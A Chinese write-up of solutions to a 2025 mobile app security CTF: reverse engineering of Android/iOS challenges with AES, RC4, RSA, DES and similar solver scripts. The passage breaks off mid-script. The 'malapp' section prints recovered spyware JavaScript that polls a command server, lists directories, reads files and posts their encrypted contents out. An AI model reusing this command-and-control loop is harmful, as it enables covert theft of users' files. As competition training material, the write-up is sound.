2025数字中国创新大赛-移动互联网(APP)安全积分争夺赛初赛

数据加密

ezenc

通用算法最好识别了,真的是这样吗?

验证逻辑在 so 中:

加密关键逻辑位于 sub_18C0 函数中,简单分析可知是 DFT 变换,提取实部与虚部的对应数据进行逆 DFT 变换即可:

import struct
import numpy as np

double_arrays = bytes.fromhex("00000000008C9F4066C0594A160F6140EEE87FB9160D20C04ED4D2DC0A9959C0F5B86FB54EBA40406FF4311F90166740183E22A644FE3D40DC9C4A0680A55440137F1475E6FD52C012F8C3CF7F0FFA3FB8AD2D3C2F5D5FC000000000004056C0B8AD2D3C2F5D5FC012F8C3CF7F0FFA3F137F1475E6FD52C0DC9C4A0680A55440183E22A644FE3D406FF4311F90166740F5B86FB54EBA40404ED4D2DC0A9959C0EEE87FB9160D20C066C0594A160F6140")
double_array = struct.unpack("d" * (len(double_arrays) // 8), double_arrays)

double_array2 = bytes.fromhex("0000000000000000EA5BE674595A59C0F4DF83D72E5D134068CC24EA057940C040BD19355F65F13FDBDFD91EBD354EC0575EF23FF98B38C04A9869FB57216340548CF337A11C4B4035B39602D21E0740FF3EE3C2014864400000000000000080FF3EE3C2014864C035B39602D21E07C0548CF337A11C4BC04A9869FB572163C0575EF23FF98B3840DBDFD91EBD354E4040BD19355F65F1BF68CC24EA05794040F4DF83D72E5D13C0EA5BE674595A5940")
double_array2 = struct.unpack("d" * (len(double_array2) // 8), double_array2)

real_part = np.array(double_array)
imaginary_part = np.array(double_array2)
complex_array = real_part + 1j * imaginary_part
res = np.fft.ifft(complex_array)
for i in res:
    print(chr(round(i.real)), end="")
# flag{th3_df7_S0_3asy!}

magic

magic

关键验证逻辑仍然在 so 中:

关键加密逻辑在 encrypt 函数中:

可以看到是一个简单的 AES 加密,但是使用的并不是标准的 S 盒:

从流量包中提取 key 后使用新的 S 盒即可解密:

from os import urandom

#!------------------------------Sbox------------------------------
s_box = list(
    bytes.fromhex(
        "31525AC80BACF33A8B54279BAB95DE8360CB537FC4E30A97E029D568C5DFF47BAAD642786CE97017D737244975A9896703FAD991B45BC24E92FC46B17308C77409AFECF54D2DEAA5DAEFA62B7E0C8FB004066284158E121D44C0E238D44728456E9D63CFE68C18821B2CEE879410C120074AA4EB77BCD3E1662A6BE779CC8616D0D119553C9FFB3098BDB8F19E61CD90CE7C8D57AE6AB33D76A77188A2BA4F3E40640F482135362FE8145D51D8B5FED29693A1B6430D4C80C9FFA3DD720559BF0E26341F13E5DCF2C6501EE485B7398ACAED9CBB56231AF03258B265336F41BE3F6D1100AD5FC38125A8A09AF6F75E99222E4BF93B027AB95C69F81CDB017DFD"
    )
)

inv_s_box = [0] * 256
for i in range(256):
    inv_s_box[s_box[i]] = i

def xor(a, b):
    return bytes([i ^ j for i, j in zip(a, b)])

#!-------------------------Step1-------------------------
def bytes2matrix(text):
    """Converts a 16-byte array into a 4x4 matrix."""
    return [list(text[i : i + 4]) for i in range(0, len(text), 4)]

def matrix2bytes(matrix):
    """Converts a 4x4 matrix into a 16-byte array."""
    result = []
    for i in matrix:
        for j in i:
            result.append(j)
    return result

#!-------------------------Step2-------------------------
def add_round_key(s, k):
    """
    Arguments:
    s -> the plaintext matrix
    k -> the round key matrix
    """
    result = []
    for i, j in zip(s, k):
        a = []
        for m, n in zip(i, j):
            a.append(m ^ n)
        result.append(a)
    return result

#!-------------------------Step3-------------------------
def sub_bytes(s, sbox=s_box):
    """
    Bytes Substitution
    """
    for i in range(4):
        for j in range(4):
            s[i][j] = sbox[s[i][j]]

def inv_sub_bytes(s):
    """
    inverse Bytes Substitution
    """
    for i in range(4):
        for j in range(4):
            s[i][j] = inv_s_box[s[i][j]]

#!-------------------------Step4-------------------------
def shift_rows(s):
    """
    Row Shift
    """
    s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
    s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
    s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]

def inv_shift_rows(s):
    """
    inverse Row Shift
    """
    s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
    s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
    s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]
    return s

#! multiply by 2 in finite field 2^8
def xtime(a):
    return (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)

def mix_single_column(a):
    """
    Single Column Confusion
    """
    t = a[0] ^ a[1] ^ a[2] ^ a[3]
    u = a[0]
    a[0] ^= t ^ xtime(a[0] ^ a[1])
    a[1] ^= t ^ xtime(a[1] ^ a[2])
    a[2] ^= t ^ xtime(a[2] ^ a[3])
    a[3] ^= t ^ xtime(a[3] ^ u)

def mix_columns(s):
    """
    Column Confusion
    """
    for i in range(4):
        mix_single_column(s[i])

def inv_mix_columns(s):
    """
    inverse Column Confusion
    """
    for i in range(4):
        u = xtime(xtime(s[i][0] ^ s[i][2]))
        v = xtime(xtime(s[i][1] ^ s[i][3]))
        s[i][0] ^= u
        s[i][1] ^= v
        s[i][2] ^= u
        s[i][3] ^= v
    mix_columns(s)

class AES:
    def __init__(self, key: bytes, iv: bytes = None, N_ROUNDS: int = 10) -> None:
        """
        Initialize a AES Cipher

        Arguments:
        key -> 128 bits key (or 192 bits or 256 bits)
        iv -> 128 bits iv, Default is None
        N_ROUNDS -> the round of key expansion (128 -> 10 192 -> 12 256 -> 14)
        """
        self.key = key
        self.iv = iv
        self.N_ROUNDS = N_ROUNDS  #! determine the encryption mode is 128 or 192 or 256

    #!------------------------------Padding------------------------------
    def PKCS7_Padding(self, plaintext):
        """
        根据缺少的字符数来填充
        """
        padding_len = 16 - len(plaintext) % 16
        return plaintext + bytes([padding_len] * padding_len)

    def ISO10126_Padding(self, plaintext):
        """
        最后一个字节填充缺少的字节数, 其他填充随机数
        """
        l = len(plaintext)
        if l % 16 == 0:
            return plaintext
        else:
            add = 16 - (l - (l // 16) * 16)
            for _ in range(0, add - 1):
                plaintext += urandom(1)
            plaintext = plaintext + bytes.fromhex(hex(add)[2:].rjust(2, "0"))
            return plaintext

    #!------------------------------Expand key------------------------------
    def expand_key(self):
        """
        Expands and returns a list of key matrices for the given master_key.
        """
        r_con = (
            0x00,
            0x01,
            0x02,
            0x04,
            0x08,
            0x10,
            0x20,
            0x40,
            0x80,
            0x1B,
            0x36,
            0x6C,
            0xD8,
            0xAB,
            0x4D,
            0x9A,
            0x2F,
            0x5E,
            0xBC,
            0x63,
            0xC6,
            0x97,
            0x35,
            0x6A,
            0xD4,
            0xB3,
            0x7D,
            0xFA,
            0xEF,
            0xC5,
            0x91,
            0x39,
        )
        #! Initialize round keys with raw key material.
        key_columns = bytes2matrix(self.key)
        iteration_size = len(self.key) // 4  #! iteration_size = 4 or 6 or 8
        #! Each iteration has exactly as many columns as the key material.
        i = 1
        while len(key_columns) < (self.N_ROUNDS + 1) * 4:
            #! Copy previous word.
            word = list(key_columns[-1])
            #! Perform schedule_core once every "row".
            if len(key_columns) % iteration_size == 0:
                #! Circular shift.
                word.append(word.pop(0))
                #! Map to S-BOX.
                word = [s_box[b] for b in word]
                #! XOR with first byte of R-CON, since the others bytes of R-CON are 0.
                word[0] ^= r_con[i]
                i += 1
            elif len(self.key) == 32 and len(key_columns) % iteration_size == 4:
                #! Run word through S-box in the fourth iteration when using a
                #! 256-bit key.
                word = [s_box[b] for b in word]
            #! XOR with equivalent word from previous iteration.
            word = bytes(i ^ j for i, j in zip(word, key_columns[-iteration_size]))
            key_columns.append(word)
        #! Group key words in 4x4 byte matrices.
        return [key_columns[4 * i : 4 * (i + 1)] for i in range(len(key_columns) // 4)]

    #!------------------------------Encryption------------------------------
    def encrypt(self, plaintext: bytes) -> bytes:
        """
        Encrytion:
        key expansion -> (add round key -> bytes substitution -> row shift -> column confusion) for N_ROUNDS
        """
        #! Initial add round key step
        round_keys = self.expand_key()
        #! Convert plaintext to state matrix
        state = bytes2matrix(plaintext)
        #! Initial add round key step
        state = add_round_key(state, round_keys[0])

        for i in range(1, self.N_ROUNDS):
            sub_bytes(state)
            shift_rows(state)
            mix_columns(state)
            state = add_round_key(state, round_keys[i])

        #! Run final round (skips the MixColumns step)
        sub_bytes(state)
        shift_rows(state)
        state = add_round_key(state, round_keys[self.N_ROUNDS])

        #! Convert state matrix to plaintext
        ciphertext = matrix2bytes(state)
        return bytes(ciphertext)

    #!------------------------------Decryption------------------------------
    def decrypt(self, ciphertext: bytes) -> bytes:
        """
        Decryption:
        Just reverse the encryption flow
        """
        #! Initial add round key step
        round_keys = self.expand_key()
        #! Convert ciphertext to state matrix
        state = bytes2matrix(ciphertext)
        #! Initial add round key step
        state = add_round_key(state, round_keys[self.N_ROUNDS])

        for i in range(self.N_ROUNDS - 1, 0, -1):
            inv_shift_rows(state)
            inv_sub_bytes(state)
            state = add_round_key(state, round_keys[i])
            inv_mix_columns(state)

        #! Run final round (skips the InvMixColumns step)
        inv_shift_rows(state)
        inv_sub_bytes(state)
        state = add_round_key(state, round_keys[0])

        #! Convert state matrix to plaintext
        plaintext = matrix2bytes(state)
        return bytes(plaintext)

    #!------------------------------AES.all_mode------------------------------
    def AES_encrypt(self, mode: str, plaintext: bytes, padding=None) -> bytes:
        """对明文进行填充"""
        if padding == None or padding == "PKCS7":
            plaintext = self.PKCS7_Padding(plaintext)
        elif padding == "ISO10126":
            plaintext = self.ISO10126_Padding(plaintext)
        #! ECB
        if mode == "AES_ECB":
            ciphertext = b""
            for i in range(0, len(plaintext), 16):
                ciphertext += self.encrypt(plaintext[i : i + 16])
            return ciphertext
        #! CBC
        if mode == "AES_CBC":
            ciphertext = self.encrypt(xor(plaintext[0:16], self.iv))
            for i in range(16, len(plaintext), 16):
                ciphertext += self.encrypt(xor(plaintext[i : i + 16], ciphertext[-16:]))
            return ciphertext

    def AES_decrypt(self, mode: str, ciphertext: bytes) -> bytes:
        #! ECB
        if mode == "AES_ECB":
            plaintext = b""
            for i in range(0, len(ciphertext), 16):
                plaintext += self.decrypt(ciphertext[i : i + 16])
            return plaintext
        #! CBC
        if mode == "AES_CBC":
            plaintext = self.decrypt(xor(plaintext[0:16], self.iv))
            for i in range(16, len(ciphertext), 16):
                plaintext += self.decrypt(xor(plaintext[i : i + 16], ciphertext[-16:]))
            return plaintext

if __name__ == "__main__":
    key = list(bytes.fromhex("12345566778843217034737357723064"))
    enc = bytes.fromhex("60579834a6ee69d0999224ef933457c3")
    tmp = 0
    for i in range(16):
        tmp = (0x99 * tmp - 1) & 0xFF
        key[i] = key[i] ^ tmp
    cipher = AES(key=bytes(key))
    dec = cipher.AES_decrypt("AES_ECB", enc)
    print(dec.decode())
# flag{3a7e1d9c0b8f4e56}

babyapk

简单的安卓逆向

关键逻辑还是在 so 中:

so 中就是简单的异或加密:

但需要注意在 init_array 中会调用 hide_key 函数对 key 进行修改,解密脚本如下:

enc = [119, 9, 40, 44, 106, 84, 113, 124, 34, 93, 122, 121, 119, 4, 120, 124, 36, 7, 127, 42, 117, 6, 112, 41, 32, 4, 112, 47, 119, 81, 123, 47, 33, 81, 40, 120, 114, 24]
key = list(b"VWXY")
key[0] ^= 0x47
key[1] ^= 0x32
key[2] ^= 0x11
key[3] ^= 0x12

for i in range(len(enc)):
    enc[i] = enc[i] ^ key[i % len(key)]
dec = bytes(enc)
print(dec.decode("utf-8"))
# flag{1873832fa175b6adc9b1a9df42d04a3c}

逆向工程

GoodLuck

一个简单的算法逆向
flag格式:flag{youget}

com.ctf.goodluck0.MainActivity#check 看到如下代码:

md5,cmd5 查询:

flag: flag{r9d3jv4}

偷天换日

一个算法逆向

验证逻辑在 so 中:

JNI_Onload 会调用 sub_DD38,这个函数中会对 assets/cc.dat 进行 rc4 解密后得到一个 dex:

里面是个简单的 base58 编码:

flag: flag{j#n$j@m^,*4}

IOSApp

安全审计员审查发现revealFlag函数比较可疑,请分析代码,帮她找到与之相关的flag

ida 逆向 swift,在 strings 中看到两段可疑字符串

跟进 base64 可以看到逻辑是拼接一个 base64

结果为 ZmxhZ3tvbGRlc3RfdHJpY2tfaW5fdGhlX2Jvb2tzfQ==,解密后为 flag{oldest_trick_in_the_books},假 flag

跟进第二个可以字符串可以进入到 obfuscatedFlag 的初始化函数:

在 revealflag 函数中看到在 map 中使用闭包函数对 obfuscatedFlag 进行了操作:

闭包函数取一位 char 并且对其进行-1运算,可以知道是将 obfuscatedFlag 逐字符-1

flag = 'gmbh|zpv`mppljoh`gps`nf~'
for i in flag:
    print(chr(ord(i)-1), end='')
#flag{you_looking_for_me}

WASMSAW

flag提交格式:flag{youget}

首先可以看到运行了一段 lua 字节码:

简单反编译可以看到是在加载一个 dex:

dex 中将 key 进行了替换:

关键的验证逻辑在 so 层中:

so 层可以看出是在加载 wasm 执行,执行的 wasm 文件位于 assets/lib_wasm.wasm,反编译一下可以看到具体逻辑:

第一部分简单分析可以知道是 rc4 算法,第二部分是在加载密文,解密即可:

flag: flag{4e574fa93be5e847453f6871115e2c08}

通信安全

这个木马在干啥

这是个恶意木马样本,前面抓了个数据包,现在发现app服务器无法访问了,请你看看木马在干啥?

关键逻辑位于 so 层中:

解密逻辑在 sub_1122C 函数中:

简单进行 AES 解密,key 需要进行一些异或计算后可以得到,然后进行解密即可:

我的传输安全吗?

小明是个技术宅男,今年大年30还在让测试同学开启测试服务器,完成公司风控sdk功能的测试。看了一会春晚,小明觉得没意思,就去测试了,测试过程中在路由器上抓到了一些报文数据,因为看不懂内容,就先保存成了bin文件,你能帮忙看看嘛?

用时间戳做种子构建随机密钥的 rc4

题目描述里说在今年春晚期间,用春晚期间的时间戳进行爆破

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

static void rc4_init(unsigned char* s_box, unsigned char* key, unsigned int key_len)
{
    unsigned char Temp[256];
    int i;
    for (i = 0; i < 256; i++)
    {
        s_box[i] = i;//顺序填充S盒
        Temp[i] = key[i%key_len];//生成临时变量T
    }
    int j = 0;
    for (i = 0; i < 256; i++)//打乱S盒
    {
        j = (j + s_box[i] + Temp[i]) % 256;
        unsigned char tmp = s_box[i];
        s_box[i] = s_box[j];
        s_box[j] = tmp;
    }
}

void rc4_crypt(unsigned char* data, unsigned int data_len, unsigned char* key, unsigned int key_len)
{
    unsigned char s_box[256];
    rc4_init(s_box, key, key_len);
    unsigned int i = 0, j = 0, t = 0;
    unsigned int Temp;
    for (Temp = 0; Temp < data_len; Temp++)
    {
        i = (i + 1) % 256;
        j = (j + s_box[i]) % 256;
        unsigned char tmp = s_box[i];
        s_box[i] = s_box[j];
        s_box[j] = tmp;
        t = (s_box[i] + s_box[j]) % 256;
        data[Temp] ^= s_box[t];
    }
}

char text_set[63] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

int main()
{
    unsigned char text[100] = "\x2a\x1d\x74\xbb\xc1\x03\xd4\x7e\xf3\x34\xa2\x8e\x57\xd1\x8e\x62";
    int timestamp_start = 1738065600;
    int timestamp_end = 1738110599;
    for(int i=timestamp_start; i<=timestamp_end; i++)
    {
        srand(i);
        unsigned char in_text[100] = {};
        strcpy(in_text, text);
        unsigned char key[20] = {};
        int index = 0;
        for(int j=0; j<16; j++)
        {
            int temp_int = rand() % 62;
            char crypt = text_set[temp_int];
            key[index++] = crypt;
        }
        rc4_crypt(in_text, strlen(in_text), key, strlen(key));
        int flag = 1;
        for(int j=0; j<strlen(in_text); j++)
        {
            if(in_text[j]>126 || in_text[j]<32)
            {
                flag = 0;
                break;
            }
        }
        if(flag && strlen(in_text) == strlen(text))
        {
            for(int j=0; j<strlen(in_text); j++)
            {
                printf("%c", in_text[j]);

            }
            printf("\n");
        }

    }
    return 0;
}

安卓下编译运行:

flag: flag{ik*klme#$0}

malapp

小明给手机中一个未知APP授予了读写文件的权限,过了几天小明所在公司的重要文档泄露了,防火墙检测到小明手机有可疑流量产生,安全部门找到小明并分析该APP。

说明文档:

service文件夹里面的是题目运行的所需的间谍软件服务端
解题者需要运行服务端,App输入以下格式的URL http://服务端IP:9701 点击launch执行间谍功能
注:题目提供的服务端里没有解密函数

首先看 apk,主要逻辑就是运行一个 native 函数:

反编译 so,首先根据 execJS 可以定位到函数:

这里做了一个 xor 的操作,结合流量包中的第一段数据可以进行解密:

var url = getURL();

function generateSessionId() {
    let date = new Date();
    let timestamp = date.getTime();
    let random = Math.floor(Math.random() * 1000);
    return timestamp.toString() + random.toString().padStart(3, '0');
}

var session_id = generateSessionId();

function executeCommand(command) {
    let command_type = command.command_type;
    let args = command.args;
    if (command_type == "list_dir") {
        let fileslist = listDir(args[0]);
        let body = {
            session_id: session_id,
            result: fileslist.join("\n")
        };
        let jsonString = JSON.stringify(body);
        let response = httpPost(url+"/result", jsonString);
    }
    if (command_type == "read_file") {
        let file_path = args[0];
        let file_content = readFile(file_path);
        let hexContent = encryption.my_encryption(file_content);
        let body = {
            session_id: session_id,
            result: hexContent
        };
        let jsonString = JSON.stringify(body);
        let response = httpPost(url+"/result", jsonString);
    }
}

function heartbeat() {
    let body = {
        session_id: session_id
    };
    let jsonString = JSON.stringify(body);
    let response = httpPost(url+"/heartbeat", jsonString);
    let responseObj = JSON.parse(response);
    if (responseObj.data) {
        executeCommand(responseObj.data);
    }
}

function main111() { 
    // real?
    let ret = encryption.my_encryption('123');
    while (true) {
        heartbeat();
        sleep(1000);
    }
} main111();

可以看到有一个 encryption.my_encryption 函数,大概率就是自己注册到 v8 中的函数,需要找到其实现的逻辑,根据字符串定位可以找到其注册的函数 JsExecutor::SetupEncryption,同时字符串查找 encrypt 等关键字发现存在 RSA 加密函数,通过引用查找成功定位到注册的 Handler:

逆向 rsa_encrypt 函数逻辑,可以在其中找到加载模数并加密的逻辑:

提取模数简单分解后取指数为 0x10001 解密即可:

from Crypto.Util.number import long_to_bytes

enc = 0x00458c2ba99e8f209cbe6105df0f789ef056f1e4906139407320e2e0d46cd2db

n = 0xC8B752FA2DA66A4B463495AEFF4AC4745072B5935B8F7DF6FECD3CCBBA42B8A5
p = 267080459792164810304149285205541345709
q = n // p
assert p * q == n

e = 0x10001
d = pow(e, -1, (p-1)*(q-1))
m = pow(enc, d, n)
print(long_to_bytes(m).decode())

flag: flag{V8_Js_engin3_i5_Awes0m3!}

MedSecureAdmin

一个http服务和加密系统组成,尝试破解该系统就可获取flag。

首先在 Java 层对 username 有校验:

通过一下代码解密:

public class test {
    static class LI {
        private byte[] lIIl = new byte[256];
        private int lIlI = 0;
        private int lIll = 0;

        public LI(byte[] bArr) {
            for (int i = 0; i < 256; i++) {
                this.lIIl[i] = (byte) i;
            }
            int i2 = 0;
            for (int i3 = 0; i3 < 256; i3++) {
                byte[] bArr2 = this.lIIl;
                byte b = bArr2[i3];
                i2 = (i2 + b + bArr[i3 % bArr.length]) & 255;
                bArr2[i3] = bArr2[i2];
                bArr2[i2] = b;
            }
        }

        public byte[] ll(byte[] bArr) {
            byte[] bArr2 = new byte[bArr.length];
            for (int i = 0; i < bArr.length; i++) {
                int i2 = this.lIlI & 255;
                this.lIlI = i2;
                int i3 = this.lIll;
                byte[] bArr3 = this.lIIl;
                byte b = bArr3[i2];
                int i4 = (i3 + b + 1) & 255;
                this.lIll = i4;
                bArr3[i2] = bArr3[i4];
                bArr3[i4] = b;
                bArr2[i] = (byte) ((bArr3[((bArr3[i2] + b) + bArr3[(i2 + i4) & 255]) & 255] ^ bArr[i]) ^ 119);
            }
            return bArr2;
        }
    }

    public static void main(String[] args) {
        byte[] ll = new byte[]{-90, 31, 41, 86, -9, 80, 101, 116};
        byte[] lII = new byte[]{-115, -12, -111, 106, 117, 25, 17, -93, 104, -74, 104, -28, 22, -109, 17, 73};
        byte[] ll2 = new LI(lII).ll(ll);
        int i = 0;
        while (true) {
            int length = ll.length;
            if (i >= length) {
                break;
            }
            ll2[i] = (byte) (ll2[i] ^ lII[i % lII.length]);
            i++;
        }
        System.out.println(new String(ll2));
    }
}

username 为 @dm1n234 ,在 so 层存在对 password 的校验:

sub_ADC 是一个魔改的 DES,对其中 S 盒替换的一些字节做了变换,照着代码逻辑扒下来替换后解密即可(DES 的 key 就是 username):

S_box = [
    [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
     0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
     4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
     15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
    [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
     3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
     0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
     13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
    [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
     13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
     13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
     1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
    [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
     13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
     10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
     3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
    [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
     14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
     4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
     11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
    [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
     10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
     9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
     4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
    [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
     13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
     1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
     6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
    [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
     1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
     7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
     2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]
]

p1 = [57, 49, 41, 33, 25, 17,  9,  1, 58, 50, 42, 34, 26, 18,
      10,  2, 59, 51, 43, 35, 27, 19, 11,  3, 60, 52, 44, 36,
      63, 55, 47, 39, 31, 23, 15,  7, 62, 54, 46, 38, 30, 22,
      14,  6, 61, 53, 45, 37, 29, 21, 13,  5, 28, 20, 12,  4]

p = [14, 17, 11, 24,  1,  5,  3, 28, 15,  6, 21, 10,
     23, 19, 12,  4, 26,  8, 16,  7, 27, 20, 13,  2,
     41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48,
     44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32]

IP = [58, 50, 42, 34, 26, 18, 10,  2, 60, 52, 44, 36, 28, 20, 12,  4,
      62, 54, 46, 38, 30, 22, 14,  6, 64, 56, 48, 40, 32, 24, 16,  8,
      57, 49, 41, 33, 25, 17,  9,  1, 59, 51, 43, 35, 27, 19, 11,  3,
      61, 53, 45, 37, 29, 21, 13,  5, 63, 55, 47, 39, 31, 23, 15,  7]

inv_IP = [40,  8, 48, 16, 56, 24, 64, 32, 39,  7, 47, 15, 55, 23, 63, 31,
          38,  6, 46, 14, 54, 22, 62, 30, 37,  5, 45, 13, 53, 21, 61, 29,
          36,  4, 44, 12, 52, 20, 60, 28, 35,  3, 43, 11, 51, 19, 59, 27,
          34,  2, 42, 10, 50, 18, 58, 26, 33,  1, 41,  9, 49, 17, 57, 25]

E = [32,  1,  2,  3,  4,  5,  4,  5,  6,  7,  8,  9,
     8,  9, 10, 11, 12, 13, 12, 13, 14, 15, 16, 17,
     16, 17, 18, 19, 20, 21, 20, 21, 22, 23, 24, 25,
     24, 25, 26, 27, 28, 29, 28, 29, 30, 31, 32,  1]

P_box = [16,  7, 20, 21, 29, 12, 28, 17,  1, 15, 23, 26,  5, 18, 31, 10,
         2,  8, 24, 14, 32, 27,  3,  9, 19, 13, 30,  6, 22, 11,  4, 25]

def HIDWORD(x):
    return (x >> 32) & 0xffffffff

class DES():
    def __init__(self, key: int) -> None:
        """
        Initalize a DES cipher

        key -> the 64-bit key
        """
        self.key = bin(key)[2:].rjust(64, "0")
        self.subkeys = []

#!------------------------------Generate round key--------------------------------------
    def select_permutation_1(self):
        """
        The first round of selective permutation
        select 56-bit subkey from 64-bit key, and divide it into two parts
        """
        if len(self.key) != 64:
            raise Exception("[Error]The length of key must be 64 bit")
        #! transform to int
        return [int(self.key[i-1]) for i in p1[:28]], [int(self.key[i-1]) for i in p1[28:]]

    def select_permutation_2(self, subkey: list) -> list:
        """
        The second round of selective permutation
        select 48-bit subkey from 56-bit key
        """
        if len(subkey) != 56:
            raise Exception("[Error]The length of subkey must be 56")
        return [subkey[i-1] for i in p]

    def leftRotation(self, a: list, off: int) -> list:
        """
        Implement loop left shift
        """
        return a[off:] + a[:off]

    def keyGen(self):
        """
        Generate 16 round key

        Logical flow:
        64-bit key -> select_permutaion_1 -> 56-bit key(left + right)
        leftRotation(left) + leftRotation(right) -> round key 0
        leftRotation(left) + leftRotation(right) -> round key 1
        leftRotation(left) + leftRotation(right) -> round key 2
        ...
        """
        if len(self.key) != 64:
            raise Exception("[Error]The length of initial key must be 64")
        left, right = self.select_permutation_1()
        # ! The leftrotation offset array
        off = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]

        for i in range(16):
            left = self.leftRotation(left, off[i])
            right = self.leftRotation(right, off[i])
            self.subkeys.append(self.select_permutation_2(left+right))
#!---------------------------------encryption--------------------------------------

    def Initial_permutation(self, text: list) -> list:
        """
        The initial permutation
        """
        return [int(text[i-1]) for i in IP]  # ! transform to int

    def inv_Initial_permutation(self, text: list) -> list:
        """
        The inverse initial permutation
        """
        return [text[i-1] for i in inv_IP]

    def Expand(self, text: list) -> list:
        """
        Expand permutation

        32-bit text -> 48-bit text
        """
        if len(text) != 32:
            raise Exception("[Error]The length must be 32")
        return [text[i-1] for i in E]

    def P_permutation(self, text: list) -> list:
        """
        The P permutation
        """
        if len(text) != 32:
            raise Exception("[Error]The length must be 32")
        return [text[i-1] for i in P_box]

    def S_transformation(self, text: list) -> list:
        """
        S_box transformation
        48-bit text -> 32-bit text
        """
        byte_6D0 = [i for j in S_box for i in j]
        v24 = int("".join(str(i) for i in text), 2)
        v25 = byte_6D0[((v24 >> 12) & 0x20 | (v24 >> 8) & 0x10 | (v24 >> 13) & 0xF) + 320]
        v26 = (16 * (byte_6D0[((v24 >> 18) & 0x20 | (v24 >> 14) & 0x10 | (v24 >> 19) & 0xF) + 256] & 0xF)) | (((16 * (byte_6D0[((v24 >> 30) & 0x20 | (v24 >> 26) & 0x10 | (v24 >> 31) & 0xF) + 128] & 0xF)) | ((byte_6D0[((v24 >> 36) & 0x20 | HIDWORD(v24) & 0x10 | (v24 >> 37) & 0xF) + 64] & 0xF | (16 * (byte_6D0[(v24 >> 42) & 0x20 | (v24 >> 38) & 0x10 | (v24 >> 43) & 0xF] & 0xF))) << 8) | byte_6D0[((v24 >> 24) & 0x20 | (v24 >> 20) & 0x10 | (v24 >> 25) & 0xF) + 192] & 0xF) << 8) | v25 & 0xF
        v27 = byte_6D0[(v24 & 0x20 | (16 * (v24 ^ 0x47)) & 0x10 | ((v24 ^ 0x47) >> 1) & 0xF) + 448]
        v28 = 16 * byte_6D0[(((v24 ^ 0x47) >> 6) & 0x20 | ((v24 ^ 0x47) >> 2) & 0x10 | (v24 >> 7) & 0xF) + 0x180]
        res = v26 << 8 | v27 | v28
        return [int(i) for i in bin(res)[2:].rjust(32, '0')]

    def Feistel(self, text: list, subkey: list) -> list:
        """
        Implement Feistel encrypt
        Expand(text) xor subkey -> S_transform -> p_permutation
        """
        if len(text) != 32 or len(subkey) != 48:
            raise Exception("[Error]The length Error")
        text = self.Expand(text)
        tmp = [i ^ j for i, j in zip(text, subkey)]
        tmp = self.S_transformation(tmp)
        tmp = self.P_permutation(tmp)

        return tmp

    def Round(self, left: list, right: list, subkey: list):
        """
        Round encryption:
        L' = R
        R' = L ^ Feistel(R, subkey)
        """
        tmp = self.Feistel(right, subkey)
        tmp = [i ^ j for i, j in zip(left, tmp)]

        return right, tmp

    def encrypt(self, plaintext: int) -> int:
        plaintext = bin(plaintext)[2:].rjust(64, "0")  # ! make up 64 bits

